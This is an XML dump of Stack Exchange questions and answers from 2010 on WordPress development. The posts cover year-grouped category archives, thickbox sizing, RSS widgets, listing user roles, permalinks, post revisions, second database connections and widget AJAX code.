  <row Id="1656" PostTypeId="1" CreationDate="2010-09-11T15:50:41.867" Score="0" ViewCount="573" Body="&lt;p&gt;I want to display posts links from a category group by year. Group by year becouse by default wordpress repeat the date for each post. I try use a code but I got all post in current year. How can I do it?&#xA;Example I want to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2010&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;post link 20   &lt;/li&gt;&#xA;&lt;li&gt;post link 19  &lt;/li&gt;&#xA;&lt;li&gt;post    link 18&lt;/li&gt;&#xA;&lt;li&gt;...  &lt;/li&gt;&#xA;&lt;li&gt;post link 8&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;2009&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;post link 7    &lt;/li&gt;&#xA;&lt;li&gt;post link 6   &lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;query_posts(array('nopaging' =&amp;gt; 1, /* desabilitar a paginacao pata obter todos os pots. O padrao e ordenado pela data */));&#xA;$prev_year = null;&#xA;&#xA;query_posts('cat=27');&#xA;&#xA;if ( have_posts() ) {&#xA;   while ( have_posts() ) {&#xA;      $this_year = get_the_date('Y');&#xA;      if ($prev_year != $this_year) {&#xA;          // Year boundary&#xA;          if (!is_null($prev_year)) {&#xA;             // A list is already open, close it first&#xA;             echo '&amp;lt;/ul&amp;gt;';&#xA;          }&#xA;          echo '&amp;lt;h2 class=&quot;titulo-conteudo&quot;&amp;gt;'. $this_year . '&amp;lt;/h2&amp;gt;';&#xA;   echo '&amp;lt;div class=&quot;barra-amarela-4&quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;              echo '&amp;lt;ul&amp;gt;';&#xA;          }&#xA;      echo '&amp;lt;li&amp;gt;';&#xA;&#xA;      // Imprimi o link do post.&#xA;  the_post(); ?&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;  &amp;lt;h2 id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;  &amp;lt;a href=&quot;&amp;lt;?php the_permalink(the_title()) ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;&#xA;  &amp;lt;/div&amp;gt;  &#xA;&#xA;&amp;lt;?php &#xA;&#xA;      echo '&amp;lt;/li&amp;gt;';&#xA;      $prev_year = $this_year;&#xA;&#xA;   }&#xA;   echo '&amp;lt;/ul&amp;gt;';&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-11T20:55:07.957" LastActivityDate="2010-10-12T07:22:43.750" Title="Display posts links from a category group by year" Tags="&lt;categories&gt;&lt;archive&gt;" AnswerCount="3" />
  <row Id="1657" PostTypeId="2" ParentId="1656" CreationDate="2010-09-11T16:12:56.797" Score="0" ViewCount="" Body="&lt;p&gt;Your code got very broken when posted. From what I can see multiple &lt;code&gt;query_posts()&lt;/code&gt; are bad idea in most cases. Please correct your code if you want better assessment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I would use plugin for this, there are plenty of excellent archive plugins around. I currently play with &lt;a href=&quot;http://wordpress.org/extend/plugins/smart-archives-reloaded/&quot; rel=&quot;nofollow&quot;&gt;Smart Archives Reloaded&lt;/a&gt;. It allows easily to get posts by month/year in specific category:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;smart_archives( array(&#xA;    'format' =&amp;gt; 'list',&#xA;    'include_cat' =&amp;gt; 27&#xA;    ));&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-11T16:12:56.797" />
  <row Id="1659" PostTypeId="1" AcceptedAnswerId="1662" CreationDate="2010-09-11T17:41:27.753" Score="0" ViewCount="617" Body="&lt;p&gt;I use thickbox in the WP backend for preview or other content. On own pages in the backend works my script very fine and a can use custom width and height for the thickbox. below my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            &amp;lt;!--&#xA;                var viewportwidth;&#xA;                var viewportheight;&#xA;&#xA;                if (typeof window.innerWidth != 'undefined') {&#xA;                    viewportwidth = window.innerWidth-80,&#xA;                    viewportheight = window.innerHeight-100&#xA;                } else if (typeof document.documentElement != 'undefined'&#xA;                    &amp;amp;&amp;amp; typeof document.documentElement.clientWidth !=&#xA;                    'undefined' &amp;amp;&amp;amp; document.documentElement.clientWidth != 0)&#xA;                {&#xA;                    viewportwidth = document.documentElement.clientWidth,&#xA;                    viewportheight = document.documentElement.clientHeight&#xA;                } else { // older versions of IE&#xA;                    viewportwidth = document.getElementsByTagName('body')[0].clientWidth,&#xA;                    viewportheight = document.getElementsByTagName('body')[0].clientHeight&#xA;                }&#xA;                //document.write('&amp;lt;p class=&quot;textright&quot;&amp;gt;Your viewport width is '+viewportwidth+'x'+viewportheight+'&amp;lt;/p&amp;gt;');&#xA;                document.write('&amp;lt;a onclick=&quot;return false;&quot; href=&quot;&amp;lt;?php echo WP_PLUGIN_URL . '/' . FB_ADM_BASEDIR; ?&amp;gt;/inc/index.php?username=&amp;lt;?php echo DB_USER; ?&amp;gt;&amp;amp;?KeepThis=true&amp;amp;amp;TB_iframe=true&amp;amp;amp;height='+viewportheight+'&amp;amp;width='+viewportwidth+'&quot; class=&quot;thickbox button&quot;&amp;gt;&amp;lt;?php _e( 'Start Adminer', FB_ADM_TEXTDOMAIN ); ?&amp;gt;&amp;lt;/a&amp;gt;');&#xA;                //--&amp;gt;&#xA;            &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now to my problem and question. I will use a thickbox on the page wp-admin/plugins.php and here dont work the script.  WP set the height and width always to the core-values and this is to small for my request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe other readers have an idea or a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-09-11T18:52:39.813" Title="Custom height/width for thickbox in WP Backend" Tags="&lt;plugins&gt;&lt;wp-admin&gt;&lt;plugin-development&gt;&lt;thickbox&gt;" AnswerCount="1" />
  <row Id="1660" PostTypeId="1" AcceptedAnswerId="1661" CreationDate="2010-09-11T17:59:43.357" Score="2" ViewCount="112" Body="&lt;p&gt;I wish to use the following RSS in my widget, but it seems to not pick it up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.tapuz.co.il/blog/rssBlog.asp?FolderName=TickTack&quot; rel=&quot;nofollow&quot;&gt;http://www.tapuz.co.il/blog/rssBlog.asp?FolderName=TickTack&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine there is a problem in the feed.  So:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What is it?&lt;/li&gt;&#xA;&lt;li&gt;And can it be fixed?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-01-23T14:57:02.463" LastActivityDate="2011-01-23T14:57:02.463" Title="Why can't I add this feed to the RSS widget?" Tags="&lt;widgets&gt;&lt;rss&gt;&lt;feed&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="1661" PostTypeId="2" ParentId="1660" CreationDate="2010-09-11T18:05:21.073" Score="1" ViewCount="" Body="&lt;p&gt;Maybe you can test with the plugin RSSImport, this has two different parser and more flexibility and also an debug-function for locate problems. The feed ist valid and I think, you must use this with a widget.&lt;/p&gt;&#xA;" OwnerUserId="170" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-11T00:20:04.543" LastActivityDate="2010-11-11T00:20:04.543" />
  <row Id="1662" PostTypeId="2" ParentId="1659" CreationDate="2010-09-11T18:52:39.813" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;plugins.php&lt;/code&gt; page calls &lt;code&gt;add_thickbox()&lt;/code&gt; function that enqueues WP native thickbox script and style. It has this in documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If any of the settings need to be changed, this can be done with another js&#xA;   file similar to media-upload.js and theme-preview.js. That file should&#xA;  require array('thickbox') to ensure it is loaded after.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So there are different possible ways to approach this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As WP suggest create and queue .js file that will add settings you need to defaults.&lt;/li&gt;&#xA;&lt;li&gt;Re-register or disable native thickbox completely and replace with your own code.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-11T18:52:39.813" CommentCount="3" />
  <row Id="1663" PostTypeId="2" ParentId="1660" CreationDate="2010-09-11T18:56:30.163" Score="2" ViewCount="" Body="&lt;p&gt;I was able to use it in RSS widget in my local test stack just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://feedvalidator.org/&quot; rel=&quot;nofollow&quot;&gt;feed validator&lt;/a&gt; it has some issues, but overall valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any error messages or how exactly it doesn't work?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-11T18:56:30.163" CommentCount="2" />
  <row Id="1664" PostTypeId="2" ParentId="1611" CreationDate="2010-09-11T19:19:12.683" Score="1" ViewCount="" Body="&lt;p&gt;Keep in mind that the permalink settings in the WP admin only apply to posts, and not to pages. With pages, you can create your own hierarchy by creating new pages as child pages. By choosing what &quot;slugs&quot; you use for each page, you define the hierarchy. Posts are teated separately.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2010-09-11T19:19:12.683" />
  <row Id="1665" PostTypeId="1" AcceptedAnswerId="1666" CreationDate="2010-09-11T19:38:22.280" Score="1" ViewCount="289" Body="&lt;p&gt;When writing WordPress plugins there is often a need to set up options for which roles on the site have access to certain functionality or content. To do this a plugin dev needs to fetch the list of roles that exist on the site to use in the option. Because custom roles can be created we cannot assume the default roles are the only ones available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to fetch the list? &lt;/p&gt;&#xA;" OwnerUserId="175" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-11T23:09:18.063" LastActivityDate="2010-09-11T23:12:46.840" Title="Getting a List of Currently Available Roles on a WordPress Site?" Tags="&lt;security&gt;&lt;users&gt;&lt;capabilities&gt;&lt;roles&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="1666" PostTypeId="2" ParentId="1665" CreationDate="2010-09-11T19:41:25.890" Score="2" ViewCount="" Body="&lt;p&gt;Roles are stored in the global variable &lt;code&gt;$wp_roles&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The ideal function is &lt;code&gt;get_editable_roles()&lt;/code&gt;&lt;/strong&gt; from &lt;code&gt;/wp-admin/includes/user.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_editable_roles() {&#xA;    global $wp_roles;&#xA;&#xA;    $all_roles = $wp_roles-&amp;gt;roles;&#xA;    $editable_roles = apply_filters('editable_roles', $all_roles);&#xA;&#xA;    return $editable_roles;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;&quot;editable&quot;&lt;/em&gt; part is because it offers other plugins a chance to filter the list in case someone other than admin has &lt;code&gt;'edit_users'&lt;/code&gt; privilege (and thus 'admin' needs to be removed from the list, else that user could make themselves admin). Role management plugins used to create custom roles are the ones that would be using that filter. Otherwise this function is essentially &lt;code&gt;get_roles()&lt;/code&gt; &lt;em&gt;(which doesn't exist)&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumably your plugin will only offer the settings page in question to someone who has admin-level capabilities like &lt;code&gt;'manage_options'&lt;/code&gt; and is basically an admin with access to all roles, so the filter shouldn't affect you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;There is also &lt;code&gt;wp_dropdown_roles()&lt;/code&gt;&lt;/strong&gt; which gives you the roles as  fields for a  &lt;em&gt;(though checkboxes are likely to work better in many scenarios where you're choosing who has access to something)&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="175" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-11T23:12:46.840" LastActivityDate="2010-09-11T23:12:46.840" CommentCount="1" />
  <row Id="1667" PostTypeId="2" ParentId="1665" CreationDate="2010-09-11T19:47:14.753" Score="1" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_role_names() {&#xA;&#xA;global $wp_roles;&#xA;&#xA;if ( ! isset( $wp_roles ) )&#xA;    $wp_roles = new WP_Roles();&#xA;&#xA;return $wp_roles-&amp;gt;get_names();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS heh, missed that explanation and reply, too fast me :)&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-11T19:47:14.753" />
  <row Id="1668" PostTypeId="1" AcceptedAnswerId="1695" CreationDate="2010-09-11T19:50:45.727" Score="2" ViewCount="112" Body="&lt;p&gt;My site has a blog page at &lt;code&gt;/blog/&lt;/code&gt;, with links to blog posts. A post will have a URL starting at the root of the site, which is a bit jarring. I'd like to have the posts URLs appear as if they are within the blog section of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site currently has a permalink structure like the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/2010/09/11/sample-post/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to modify it to include a &lt;code&gt;blog&lt;/code&gt; prefix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/blog/2010/09/11/sample-post/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand, WordPress should be able to handle the appropriate redirects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is the fact that I have the blog &lt;strong&gt;page&lt;/strong&gt; at &lt;code&gt;/blog/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change my post permalink structure, is there going to be any conflict with a page having a similar URL?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2010-09-12T12:53:58.023" Title="Changing my permalink structure - will new layout conflict with existing page?" Tags="&lt;posts&gt;&lt;permalinks&gt;&lt;page&gt;" AnswerCount="1" />
  <row Id="1669" PostTypeId="2" ParentId="1656" CreationDate="2010-09-11T20:03:27.510" Score="0" ViewCount="" Body="&lt;p&gt;The details of your question are incoherent. You should read the question aloud to yourself before posting. Your code block is also totally broken. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said the answer is fairly simple. You need to run a posts query that gives both the category and year values (as well as your nopaging, which is best done with posts_per_page=-1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;codex article for query_posts()&lt;/a&gt; for full details about prarameters you can pass into new WP_Query().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code for your question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Run a query for a specific category (cat=$cat_id) and year (&amp;amp;y=2008)&#xA; * Also turn off the paging by setting posts_per_page to -1&#xA; */&#xA;$year_and_category_query = new WP_Query(&quot;cat=$cat_id&amp;amp;year=2007&amp;amp;posts_per_page=-1&quot;);&#xA;&#xA;/**&#xA; * Run the loop on your new query&#xA; */&#xA;while ($year_and_category_query-&amp;gt;have_posts()) : $year_and_category_query-&amp;gt;the_post();&#xA;    // Use the post with functions like the_title, or use the now global $post&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="175" LastActivityDate="2010-09-11T20:03:27.510" CommentCount="2" />
  <row Id="1670" PostTypeId="2" ParentId="1644" CreationDate="2010-09-11T20:15:30.940" Score="2" ViewCount="" Body="&lt;p&gt;The answer is that you should not check if wp_nonce_field() exists before using it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recommendation to perform the check assumes that you want to be compatible with versions of WordPress from before the function existed. If Rarst is right that it was introduced in 2.0.4 then you should NOT be supporting earlier versions, as they are all absolutely insecure and anyone using them needs to upgrade RIGHT NOW.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually you should not have to check for existence of functions from inside WP, unlike functions from plugins that might not be activated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where did you see that comment you quoted? It should be removed.&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2010-09-11T20:15:30.940" />
  <row Id="1671" PostTypeId="2" ParentId="1639" CreationDate="2010-09-11T20:24:40.767" Score="6" ViewCount="" Body="&lt;p&gt;The best reason not to hack core is that whatever you are doing should be reworked as a patch for core instead! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously ALL of your code would not make a good patch at all, or at least it rarely would. Instead you need to figure out what hook (action or filter) is missing in core that would let you do whatever it is you need to do without hacking core. We don't need to hack core when there are adequate filters/actions, so finding what the missing hook is will always remove the need to hack core. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can often require some tough problem-solving and tricky legwork, but more often then not what happens is you discover that &lt;strong&gt;there already is a hook to solve your problem&lt;/strong&gt;, so you don't have to hack core! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the rare scenario where there really is no hook you just need to post on trac explaining why your hook needs to exist. If you get your new hook committed then you have a temporary 1-line hack to core that won't need to be worried about the next time you update. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if your suck at getting stuff done in the Core trac (it takes some convincing to get stuff committed), you have at least boiled your core hack to the minimum possible: 1 line of code for your action/filter. When you update WP you've now replaced all the code you shoved into core with one line that needs to be updated, and your plugin can stay the same!&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2010-09-11T20:24:40.767" CommunityOwnedDate="2010-09-11T20:24:40.767" CommentCount="1" />
  <row Id="1672" PostTypeId="2" ParentId="1567" CreationDate="2010-09-11T20:35:56.083" Score="15" ViewCount="" Body="&lt;h2&gt;Set a maximum number of post revisions to avoid DB bloat.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Default is infinite, this will set it to only remember last 5 edits:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Set the post revisions unless the constant was set in wp-config.php&#xA; */&#xA;if (!defined('WP_POST_REVISIONS')) define('WP_POST_REVISIONS', 5);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FWIW there are a ton of great ideas for CONSTANTS that can be set on the Codex page &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php&quot; rel=&quot;nofollow&quot;&gt;Editing wp-config.php&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="175" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:33:48.660" LastActivityDate="2011-01-26T14:33:48.660" CommunityOwnedDate="2010-09-11T20:35:56.083" CommentCount="3" />
  <row Id="1673" PostTypeId="2" ParentId="1604" CreationDate="2010-09-11T20:53:01.777" Score="7" ViewCount="" Body="&lt;p&gt;Connecting to a second database is easy in WordPress, you simply create a new instance of the WPDB class and use it the same way you would use the standard $wpdb instance we all know and love. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the second database has the same login information as the main WP one you can even use the predefined constants from wp-config.php to avoid hardcoding the login information.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Instantiate the wpdb class to connect to your second database, $database_name&#xA; */&#xA;$second_db = new wpdb(DB_USER, DB_PASSWORD, $database_name, DB_HOST);&#xA;/**&#xA; * Use the new database object just like you would use $wpdb&#xA; */&#xA;$results = $second_db-&amp;gt;get_results($your_query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="175" LastActivityDate="2010-09-11T20:53:01.777" CommentCount="2" />
  <row Id="1674" PostTypeId="2" ParentId="1580" CreationDate="2010-09-11T21:30:10.617" Score="5" ViewCount="" Body="&lt;p&gt;One way is to use careful jQuery code inserted in the header of the admin to modify the text within a specific part of the page. You need to be able to target a specific div/span/html tag in order to do so, but this system will let you edit any part of the page even if there is no filter (though the answer by Sorich has a great filter for the use-case in your question, my answer applies more generally to your question itself).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the code below to alter the featured image box in 2.9 to say 'featured image' instead of 'post thumbnail' because the labels changed in 3.0 and I wanted my old site to use the new terminology before upgrading it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the code handles both the popup box and the metabox, and uses some jquery AJAX functions to ensure the content gets re-modded after pageloads in the iframe.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Use jQuery to add context to the Featured Image metabox on post editing pages&#xA; * and to change the label to be Featured Image instead of Post thumbnail in WP 2.9 &#xA; * before the label changed.&#xA; *&#xA; * See javascript for info on removing these as they become part of the AP API&#xA; */&#xA;function gv_admin_featured_image_tweaks() {&#xA;    ?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function($) {&#xA;        /**&#xA;         * TEMPORARY: SWITCH VARIOUS LABELS TO SHOW FEATURED IMAGE INSTEAD OF POST THUMBNAIL&#xA;         * REMOVE WHEN 3.0 COMES OUT AND THIS IS THE DEFAULT LABEL&#xA;         */&#xA;        $('#postimagediv h3 span').text('Featured Image');&#xA;        // Only change the set thumbnail text if its that, otherwise we end up replacing the img tag when it is set&#xA;        if ($('#postimagediv #set-post-thumbnail').text() == 'Set thumbnail') {&#xA;            $('#postimagediv #set-post-thumbnail').text('Choose Featured Image');&#xA;        }&#xA;        $('#postimagediv #remove-post-thumbnail').text('Remove Featured Image');&#xA;&#xA;        // label inside media item details in popup&#xA;        $('.wp-post-thumbnail').text('Use as Featured Image');&#xA;        // refresh inside media item for after upload finishes.&#xA;        $('body').ajaxComplete(function() {&#xA;            $('.wp-post-thumbnail').text('Use as Featured Image');&#xA;        });&#xA;&#xA;        /**&#xA;         * Add a description of how we use featured images. should be replaced with a description parameter in the API&#xA;         */&#xA;        $('#postimagediv .inside').prepend('&amp;lt;p&amp;gt;This image will be used in the featured posts slider if this post is featured. It should be at least 400px wide by 300px tall.&amp;lt;/p&amp;gt;');&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;add_action('admin_head', 'gv_admin_featured_image_tweaks');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="175" LastActivityDate="2010-09-11T21:30:10.617" />
  <row Id="1675" PostTypeId="1" AcceptedAnswerId="1689" CreationDate="2010-09-12T00:33:40.107" Score="0" ViewCount="224" Body="&lt;p&gt;I have a widget like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class test_widget extends WP_Widget{&#xA;&#xA;  function test_widget(){&#xA;    $widget_ops = array('description' =&amp;gt; 'test widget');&#xA;    $this-&amp;gt;WP_Widget(false, 'Test', $widget_ops);&#xA;&#xA;    add_action('init', array(&amp;amp;$this, 'ajax'), 99);&#xA;&#xA;    // include in jQuery(document).ready()&#xA;    add_action('jquery_init', array(&amp;amp;$this, 'js'));&#xA;  }&#xA;&#xA;  function js(){&#xA;    // get settings from all widget instances&#xA;    $widget_settings = get_option($this-&amp;gt;option_name);&#xA;&#xA;    // identify this instance&#xA;    foreach($widget_settings as $instance =&amp;gt; $options):&#xA;&#xA;      $id = $this-&amp;gt;id_base.'-'.$instance;&#xA;      $block_id = 'instance-'.$id;&#xA;&#xA;      if (is_active_widget(false, $id, $this-&amp;gt;id_base)): ?&amp;gt;&#xA;&#xA;      $(&quot;#&amp;lt;?php echo $block_id; ?&amp;gt; .button&quot;).click(function(){&#xA;&#xA;        $.ajax({&#xA;          type: &quot;GET&quot;,&#xA;          url: &quot;&amp;lt;?php echo get_bloginfo('url'); ?&amp;gt;&quot;,&#xA;          data: { id: &quot;&amp;lt;?php echo $block_id; ?&amp;gt;&quot;,&#xA;                  some_data: &quot;&amp;lt;?php echo $options['some_widget_option']; ?&amp;gt;&quot;,&#xA;                  my_widget_ajax: 1 },&#xA;          success: function(response){&#xA;             alert(response);&#xA;             // yey&#xA;          }&#xA;        });&#xA;        return false;&#xA;&#xA;      });&#xA;&#xA;      &amp;lt;?php endif;&#xA;    endforeach;&#xA;  }&#xA;&#xA;  function ajax(){&#xA;    if(isset($_GET['my_widget_ajax'])):&#xA;&#xA;      $some_data = esc_attr($_GET['some_data']);&#xA;&#xA;      echo $some_data;&#xA;      exit();&#xA;    endif;&#xA;  }&#xA;&#xA;  function widget($args, $instance){&#xA;    // the widget front-end&#xA;&#xA;  }&#xA;&#xA;  function update($new_instance, $old_instance){&#xA;    // update form&#xA;    return $instance;&#xA;  }&#xA;&#xA;  function form($instance){&#xA;    // the form&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically there's a button in it which triggers a ajax request that retrieves some info...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see the only way I could add the ajax function was by hooking it to the init tag, and the js to a theme function that handles the javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that this only works when the widget is present in a sidebar.&#xA;And I also need it to work when I call this widget with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_widget&quot; rel=&quot;nofollow&quot;&gt;the_widget()&lt;/a&gt; function, for eg. inside a page. I don't know how could I retrieve the widget options to pass them in the javascript code...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="600" LastActivityDate="2010-09-12T08:34:17.707" Title="Widget Javascript code (ajax)" Tags="&lt;3.0&gt;&lt;widgets&gt;&lt;javascript&gt;&lt;php&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="1676" PostTypeId="2" ParentId="1653" CreationDate="2010-09-12T01:50:22.590" Score="0" ViewCount="" Body="&lt;p&gt;If the home page is taking that long to load, most likely you have a plugin or a function in the theme that is making a remote request some time when the home page is rendering.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would do a recursive search through your wp-content directory for calls to 'wp_remote_' to look for any functions that may be causing this.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-09-12T01:50:22.590" CommentCount="3" />
  <row Id="1677" PostTypeId="1" AcceptedAnswerId="1678" CreationDate="2010-09-12T02:12:08.130" Score="2" ViewCount="163" Body="&lt;p&gt;I am installing on a local machine using &lt;code&gt;localhost&lt;/code&gt;. I have a &quot;learning&quot; version of WordPress @ &lt;code&gt;http://localhost/wordpress&lt;/code&gt; and I want to create another version of WordPress (@ &lt;code&gt;http://localhost/jiewmeng&lt;/code&gt;) I want to test and maybe move to a real server later. I found that when I extracted a fresh copy of WordPress into &lt;code&gt;localhost/jiewmeng&lt;/code&gt;, it probably detects the WordPress database and uses that? All the data I get is from the &quot;learning&quot; version of WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i set this up so that the 2 installations of WordPress are separate?&lt;/p&gt;&#xA;" OwnerUserId="794" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-12T03:00:56.663" LastActivityDate="2010-09-12T03:03:28.890" Title="How do I install two versions of WordPress on 1 server?" Tags="&lt;installation&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1678" PostTypeId="2" ParentId="1677" CreationDate="2010-09-12T02:31:15.873" Score="3" ViewCount="" Body="&lt;p&gt;The database connection constants are defined in the wp-config.php file. Whether the 2 wp-config.php files in the jiewmeng directory and the WordPress directory are the same?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to create 2 different databases and set their constants in the respective wp-config.php files.&lt;/p&gt;&#xA;" OwnerUserId="130" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-12T03:03:28.890" LastActivityDate="2010-09-12T03:03:28.890" CommentCount="5" />
